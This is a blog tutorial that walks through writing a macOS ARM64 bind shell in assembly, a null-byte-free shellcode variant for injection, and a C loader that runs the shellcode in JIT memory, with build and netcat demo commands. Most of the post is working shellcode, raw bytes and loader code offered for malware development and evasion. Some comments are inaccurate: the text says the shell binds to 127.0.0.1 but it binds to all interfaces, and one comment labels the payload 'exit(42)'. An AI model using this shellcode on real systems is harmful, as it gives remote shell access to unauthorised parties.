11 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

Sometimes all you need is a simple and reliable bind shell - especially on macOS ARM64. In this post, we’ll go through a clean and minimal implementation of a bind shell written entirely in ARM64 assembly, running on M1/M2 macOS. Works like a charm.

practical example

What’s the plan? We’ll write a simple bind shell in raw assembly for macOS ARM64. It’ll:

  • create a socket
  • bind to 127.0.0.1:4444
  • accept incoming connections
  • need to call dup2 socket to STDIN/STDOUT/STDERR
  • need to call execve /bin/zsh

Let’s get started.

We begin by calling

int socket(int domain, int type, int protocol);

in our case:

socket(PF_INET, SOCK_STREAM, 0)

On macOS, BSD syscalls are used, and socket is syscall number 97:

mov    x0, #2      ; AF_INET
mov    x1, #1      ; SOCK_STREAM
mov    x2, xzr     ; protocol = 0
mov    x16, #97    ; syscall: socket (97)
svc    #0xffff     ; call kernel
mov    x19, x0     ; save sockfd

Nothing fancy. Just raw syscall to open a TCP socket.

At the next step we need to binding logic:

int bind(int socket, const struct sockaddr_in *address, socklen_t address_len);

Now let’s build the sockaddr_in structure directly on the stack:

mov    x2, #16                 ; sizeof(sockaddr_in)
mov    x4, #0x0200             ; sin_len=0x00, sin_family=AF_INET=0x02
movk   x4, #0x5c11, lsl#16     ; sin_port = 0x115c (4444) in network byte order
stp    x4, xzr, [sp, #-16]!    ; push to stack (zero padding)
mov    x1, sp                  ; x1 = pointer to sockaddr_in
mov    x16, #104               ; syscall: bind
svc    #0xffff

We’re binding to 127.0.0.1:4444. You might notice we don’t explicitly set sin_addr. macOS allows binding to INADDR_ANY if we skip it, or we could add it with extra movk like in other examples - this PoC keeps it compact.

So, then we need listening and accepting connections logic. So, start listening:

int listen(int socket, int backlog);
mov    x0, x19           ; sockfd
mov    x1, xzr           ; backlog = 0
mov    x16, #106         ; syscall: listen
svc    #0xffff

Then accept incoming connection:

int accept(int socket, struct sockaddr *address, socklen_t *address_len);

via ARM:

mov    x0, x19           ; server socket
mov    x1, xzr
mov    x2, xzr
mov    x16, #30          ; syscall: accept
svc    #0xffff
mov    x20, x0           ; new client socket

Now we’re ready to redirect STDIN/STDOUT/STDERR to the new socket:

int dup2(int fd, int fd2);

Classic dup2 dance: socket -> 2, 1, 0:

mov    x16, #90
mov    x1, #2
svc    #0xffff

mov    x0, x20
mov    x1, #1
svc    #0xffff

mov    x0, x20
lsr    x1, x1, #1         ; = 0
svc    #0xffff

Note: we reused x1 instead of hardcoding #0 - just to demonstrate bit shift trick.

Finally, we need to run execve("/bin/zsh"):

int execve(const char *path, char *const argv[], char *const envp[]);

First of all, we hardcode the string /bin/zsh and push it on the stack:

mov     x3, #0x622f          ; '/b'
movk    x3, #0x6e69, lsl#16  ; 'in'
movk    x3, #0x7a2f, lsl#32  ; '/z'
movk    x3, #0x6873, lsl#48  ; 'sh'
stp     x3, xzr, [sp,#-16]!
add     x0, sp, xzr          ; x0 = pointer to path

Build argv:

stp     x0, xzr, [sp,#-16]!  ; argv = ["/bin/zsh", NULL]
add     x1, sp, xzr          ; x1 = argv
mov     x2, xzr              ; envp = NULL
mov     x16, #59             ; syscall: execve
svc     #0xffff

So, by this logic, boom!! Our /bin/zsh is running and connected to whoever hit our bind shell.

Full source code:

; hack.s
; bind shell ARM
; author: @cocomelonc
; https://cocomelonc.github.io/macos/2025/09/01/malware-mac-11.html
.global _start

.align 4
.section __TEXT,__text

_start:
  ; socket descriptor
  ; int socket(int domain, int type, int protocol)
  mov    x0, #2      ; domain = PF_INET
  mov    x1, #1      ; type = sock_stream
  mov    x2, xzr     ; protocol ipproto_ip

  mov    x16, #97    ; bsd syscall for socket (97)
  svc    #0xffff     ; exec syscall

  mov    x19, x0     ; save socket descriptor

  ; bind socket to local address
  ; int bind(int socket, const struct sockaddr_in *address, socklen_t address_len)
  mov    x2, #16                 ; address len (16 bytes)
  mov    x4, #0x0200             ; sin_len = 0, sin_family = 2
  movk   x4, #0x5c11, lsl#16     ; sin_port = 4444 = 0x115c
  stp    x4, xzr, [sp, #-16]!    ; push sockaddr_in to stack
  mov    x1, sp                  ; pointer to sockaddr_in struct
  mov    x16, #104               ; bsd syscall for bind (104)
  svc    #0xffff                 ; exec syscall

  ; listen incoming connections
  ; int listen(int socket, int backlog)
  mov    x0, x19           ; restore saved socket descriptor
  mov    x1, xzr           ; ingore address storage
  mov    x16, #106         ; bsd syscall for listen (106)
  svc    #0xffff           ; exec syscall

  ; accept incoming connections
  ; int accept(int socket, struct sockaddr *address, socklen_t *address_len)
  mov    x0, x19          ; restore saved socket descriptor
  mov    x1, xzr          ; ingore address storage
  mov    x2, xzr          ; ignore length of address struct
  mov    x16, #30         ; bsd syscall for accept (30)
  svc    #0xffff          ; exec syscall
  mov    x20, x0          ; save new socket descriptor

  ; dup2
  ; int dup2(int fd, int fd2)
  mov    x16, #90         ; bsd syscall dup2 (90)
  mov    x1, #2           ; file descriptor 2 = STDERR
  svc    #0xffff          ; execute syscall

  mov    x0, x20          ; restore new socket descriptor
  mov    x1, #1           ; file descriptor 1 = STDOUT
  svc    #0xffff          ; execute syscall

  mov    x0, x20          ; restore new socket descriptor
  lsr    x1, x1, #1       ; file descriptor 0 = STDIN
  svc    #0xffff          ; execute syscall

  ; launch shell via execve
  ; execve("/bin/zsh", ["/bin/zsh"], NULL)
  mov     x3, #0x622f          ; move "/bin/zsh" into x3 (little endian)
  movk    x3, #0x6e69, lsl#16  ; 'in'
  movk    x3, #0x7a2f, lsl#32  ; '/z'
  movk    x3, #0x6873, lsl#48  ; 'sh'
  stp     x3, xzr, [sp,#-16]!  ; push path and terminating 0 to stack
  add     x0, sp, xzr          ; save pointer to path = argv[0] in x0
  stp     x0, xzr, [sp,#-16]!  ; push argv and terminating 0 to stack
  add     x1, sp, xzr          ; move pointer to argument array into X1
  mov     x2, xzr              ; third argument for execve ignored
  mov     x16, #59             ; bsd syscall for execve (59)
  svc     #0xffff              ; execute syscall to launch shell

As you can see, you can update another port instead of using 4444 if you want.

demo

Let’s go to see this in action. First of all compile assembly code:

as -arch arm64 hack.s -o hack.o

malware

then linking:

ld -arch arm64 -e _start -o hack hack.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

malware

Then run:

./hack

malware

Wait for incoming connections…

Then run in the same machine (since we use localhost in shellcode):

nc 127.0.0.1 4444

malware

and type shell commands:

malware

malware

you can check connection:

lsof -nP -iTCP:4444

malware

As you can see, everything is worked as expected. =^..^=

practical example 2: no null bytes

Let’s check this first example:

objdump -d hack.o

malware

malware

As you can see, we have null-bytes in our shellcode.

As an important variation, we need a null-byte-free bind shell implementation for ARM64 (Apple M1). This is a crucial distinction for real-world shellcode delivery, especially in exploit development scenarios where null bytes (0x00) can truncate payloads or interfere with string-based injection techniques.

In the first version of the shellcode, some instructions or immediate values (like syscall arguments or port/address setup) result in embedded 0x00 bytes. These are harmless during normal execution but problematic in contexts where the shellcode is injected via string buffers.

The second example avoids this by using bitwise shifts (lsr, lsl) and indirect register manipulation to build up values dynamically in registers. For example:

mov     x3, #0x0201
lsr     x0, x3, #8
lsr     x1, x0, #1

This pattern ensures that the desired constants are reconstructed without ever embedding null bytes in the raw opcode stream - a subtle but effective evasion and obfuscation technique.

This version is ideal for use in shellcode where reliability across encoding-sensitive channels is critical.

So, full source code look like this hack2.s:

; hack2.s
; bind shell ARM (no null bytes)
; author: @cocomelonc
; https://cocomelonc.github.io/macos/2025/09/01/malware-mac-11.html

.global _start
.align 4

_start:
  ; create a socket
  mov     x3, #0x0201                 ; x3 = 0x201
  lsr     x0, x3, #8                  ; x0 = 2 (pf_inet)
  lsr     x1, x0, #1                  ; x1 = 1 (sock_stream)
  mov     x2, xzr                     ; x2 = 0 (ipproto_ip)
  mov     x16, #97                    ; bsd syscall: socket (97)
  svc     #0xffff                     ; exec syscall
  lsl     x19, x0, #0                 ; store socket descriptor in x19

  ; bind socket to local address 0.0.0.0:4444
  mov     x2, #16                     ; address_len = 16
  mov     x4, #0x0200                 ; sin_family = af_inet (2)
  movk    x4, #0x5c11, lsl#16         ; sin_port = htons(4444) = 0x5c11
  stp     x4, xzr, [sp, #-16]!        ; push sockaddr_in to stack
  add     x1, sp, xzr                 ; x1 -> sockaddr_in
  mov     x16, #104                   ; bsd syscall: bind (104)
  svc     #0xffff                     ; exec syscall

  ; listen for incoming connections
  mov     x0, x19                     ; x0 = socket descriptor
  mov     x1, xzr                     ; backlog = 0
  mov     x16, #106                   ; bsd syscall: listen (106)
  svc     #0xffff                     ; exec syscall

  ; accept connection
  mov     x0, x19                     ; x0 = socket descriptor
  mov     x1, xzr                     ; no client addr needed
  mov     x2, xzr                     ; no addr len needed
  mov     x16, #30                    ; bsd syscall: accept (30)
  svc     #0xffff                     ; syscall run
  lsl     x20, x0, #0                 ; save accepted socket to x20

  ; redirect stdin, stdout, stderr to accepted socket
  mov     x16, #90                    ; bsd syscall: dup2 (90)
  mov     x1, #0x0201                 ; target fd = 2 (stderr)
  lsr     x1, x1, #8                  ; x1 = 2
  svc     #0xffff                     ; dup2(x20, 2)

  mov     x0, x20                     ; restore client socket
  mov     x1, #0x0101                 ; target fd = 1 (stdout)
  lsr     x1, x1, #8                  ; x1 = 1
  svc     #0xffff                     ; dup2(x20, 1)

  mov     x0, x20                     ; restore client socket
  lsr     x1, x1, #1                  ; x1 = 0 (stdin)
  svc     #0xffff                     ; dup2(x20, 0)

  ; final: execve("/bin/zsh", ["/bin/zsh"], null)
  mov     x3, #0x622f                 ; "/bin/zsh" (part 1)
  movk    x3, #0x6e69, lsl#16         ;
  movk    x3, #0x7a2f, lsl#32         ;
  movk    x3, #0x6873, lsl#48         ;
  stp     x3, xzr, [sp, #-16]!        ; push path and null terminator
  add     x0, sp, xzr                 ; x0 = "/bin/zsh"
  stp     x0, xzr, [sp, #-16]!        ; push argv = {"/bin/zsh", null}
  add     x1, sp, xzr                 ; x1 = argv
  mov     x2, xzr                     ; x2 = envp = null
  mov     x16, #59                    ; bsd syscall: execve (59)
  svc     #0xffff                     ; call kernel

demo 2

Compile:

as -arch arm64 hack2.s -o hack2.o

malware

then linking:

ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

malware

Then run in different terminals:

./hack2
nc 127.0.0.1 4444

malware

malware

As you can see, everything is worked also perfectly here! =^..^=

objdump -d hack2.o

malware

Null byte-free shellcode.

practical example 3: run shellcode via C

Let’s run our shellcode via C. First of all, get shellcode:

otool -t hack2.o

malware

So, our shellcode bytes look like the following:

"\x23\x40\x80\xd2\x60\xfc\x48\xd3\x01\xfc\x41\xd3\xe2\x03\x1f\xaa"
"\x30\x0c\x80\xd2\xe1\xff\x1f\xd4\x13\xfc\x40\xd3\x02\x02\x80\xd2"
"\x04\x40\x80\xd2\x24\x82\xab\xf2\xe4\x7f\xbf\xa9\xe1\x63\x3f\x8b"
"\x10\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\x50\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\xe2\x03\x1f\xaa\xd0\x03\x80\xd2\xe1\xff\x1f\xd4\x14\xfc\x40\xd3"
"\x50\x0b\x80\xd2\x21\x40\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\x20\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\xfc\x41\xd3\xe1\xff\x1f\xd4\xe3\x45\x8c\xd2"
"\x23\xcd\xad\xf2\xe3\x45\xcf\xf2\x63\x0e\xed\xf2\xe3\x7f\xbf\xa9"
"\xe0\x63\x3f\x8b\xe0\x7f\xbf\xa9\xe1\x63\x3f\x8b\xe2\x03\x1f\xaa"
"\x70\x07\x80\xd2\xe1\xff\x1f\xd4";

Then I tried to use shellcode running code from one of my previous posts (hack3.c):

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

unsigned char code[] =
  "\x23\x40\x80\xd2\x60\xfc\x48\xd3\x01\xfc\x41\xd3\xe2\x03\x1f\xaa"
  "\x30\x0c\x80\xd2\xe1\xff\x1f\xd4\x13\xfc\x40\xd3\x02\x02\x80\xd2"
  "\x04\x40\x80\xd2\x24\x82\xab\xf2\xe4\x7f\xbf\xa9\xe1\x63\x3f\x8b"
  "\x10\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
  "\x50\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
  "\xe2\x03\x1f\xaa\xd0\x03\x80\xd2\xe1\xff\x1f\xd4\x14\xfc\x40\xd3"
  "\x50\x0b\x80\xd2\x21\x40\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
  "\xe0\x03\x14\xaa\x21\x20\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
  "\xe0\x03\x14\xaa\x21\xfc\x41\xd3\xe1\xff\x1f\xd4\xe3\x45\x8c\xd2"
  "\x23\xcd\xad\xf2\xe3\x45\xcf\xf2\x63\x0e\xed\xf2\xe3\x7f\xbf\xa9"
  "\xe0\x63\x3f\x8b\xe0\x7f\xbf\xa9\xe1\x63\x3f\x8b\xe2\x03\x1f\xaa"
  "\x70\x07\x80\xd2\xe1\xff\x1f\xd4";

int main() {
  size_t pagesize = sysconf(_SC_PAGESIZE);

  void *exec = mmap(0, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC,
                    MAP_PRIVATE | MAP_ANON, -1, 0);

  if (exec == MAP_FAILED) {
    perror("mmap");
    return 1;
  }

  memcpy(exec, code, sizeof(code));
  ((void(*)())exec)();

  return 0;
}

Compile it:

clang -o hack3 hack3.c

malware

Run it:

./hack3

malware

But I got permission denied error :(. What is an issue???

it’s almost always due to macOS security restrictions, especially W^X (Write XOR Execute) memory protection enforced in recent versions of macOS.

Let’s try to fix or work around it properly.

Apple Silicon requires MAP_JIT to allocate memory that is both writable and executable. You must also use pthread_jit_write_protect_np() if you’re writing self-modifying code or JIT shellcode:

malware

Minimal working example for this looks like this:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <unistd.h>

int main() {
  size_t size = 4096;
    
  // allocate RWX memory with MAP_JIT for Apple Silicon
  void *shellcode = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
    MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
    
  if (shellcode == MAP_FAILED) {
    perror("mmap");
    exit(1);
  }

  // optional: disable JIT write protection before writing (for M1)
  pthread_jit_write_protect_np(0);

  // shellcode
  unsigned char code[] = {
    // our shellcode here
  };

  memcpy(shellcode, code, sizeof(code));

  // re-enable JIT write protection (optional)
  pthread_jit_write_protect_np(1);

  // execute
  ((void(*)())shellcode)();

  return 0;
}

Even if you disable SIP (System Integrity Protection), this restriction applies in many scenarios starting with macOS 11 (Big Sur) and onward.

Updated full source code for our hack3.c:

/*
* hack3.c
* run bind shell
* shellcode via mmap
* author: @cocomelonc
* https://cocomelonc.github.io/macos/2025/09/01/malware-mac-11.html
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <unistd.h>

int main() {
  size_t size = 4096;
  void *mem = mmap(NULL, size,
           PROT_READ | PROT_WRITE | PROT_EXEC,
           MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

  if (mem == MAP_FAILED) {
    perror("mmap");
    return 1;
  }

  pthread_jit_write_protect_np(0);

  // shellcode: exit(42)
  unsigned char code[] =
  "\x23\x40\x80\xd2\x60\xfc\x48\xd3\x01\xfc\x41\xd3\xe2\x03\x1f\xaa"
  "\x30\x0c\x80\xd2\xe1\xff\x1f\xd4\x13\xfc\x40\xd3\x02\x02\x80\xd2"
  "\x04\x40\x80\xd2\x24\x82\xab\xf2\xe4\x7f\xbf\xa9\xe1\x63\x3f\x8b"
  "\x10\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
  "\x50\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
  "\xe2\x03\x1f\xaa\xd0\x03\x80\xd2\xe1\xff\x1f\xd4\x14\xfc\x40\xd3"
  "\x50\x0b\x80\xd2\x21\x40\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
  "\xe0\x03\x14\xaa\x21\x20\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
  "\xe0\x03\x14\xaa\x21\xfc\x41\xd3\xe1\xff\x1f\xd4\xe3\x45\x8c\xd2"
  "\x23\xcd\xad\xf2\xe3\x45\xcf\xf2\x63\x0e\xed\xf2\xe3\x7f\xbf\xa9"
  "\xe0\x63\x3f\x8b\xe0\x7f\xbf\xa9\xe1\x63\x3f\x8b\xe2\x03\x1f\xaa"
  "\x70\x07\x80\xd2\xe1\xff\x1f\xd4";

  memcpy(mem, code, sizeof(code));

  pthread_jit_write_protect_np(1);

  ((void(*)())mem)();

  return 0;
}

demo 3

Compile it again:

clang -o hack3 hack3.c

malware

Then run it:

./hack3

and connect via netcat:

nc 127.0.0.1 4444

malware

Pwn!!!! Everything worked as expected! =^..^=

That’s it. Straightforward bind shell for macOS on Apple Silicon. Clean, minimal, no libc. Pure syscall style. This kind of PoC is useful for malware R&D, shellcode development, and red teaming labs, or as always, for blue team specialists.

macOS hacking part 1
macOS hacking part 10
Allow execution of JIT-compiled code entitlement
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine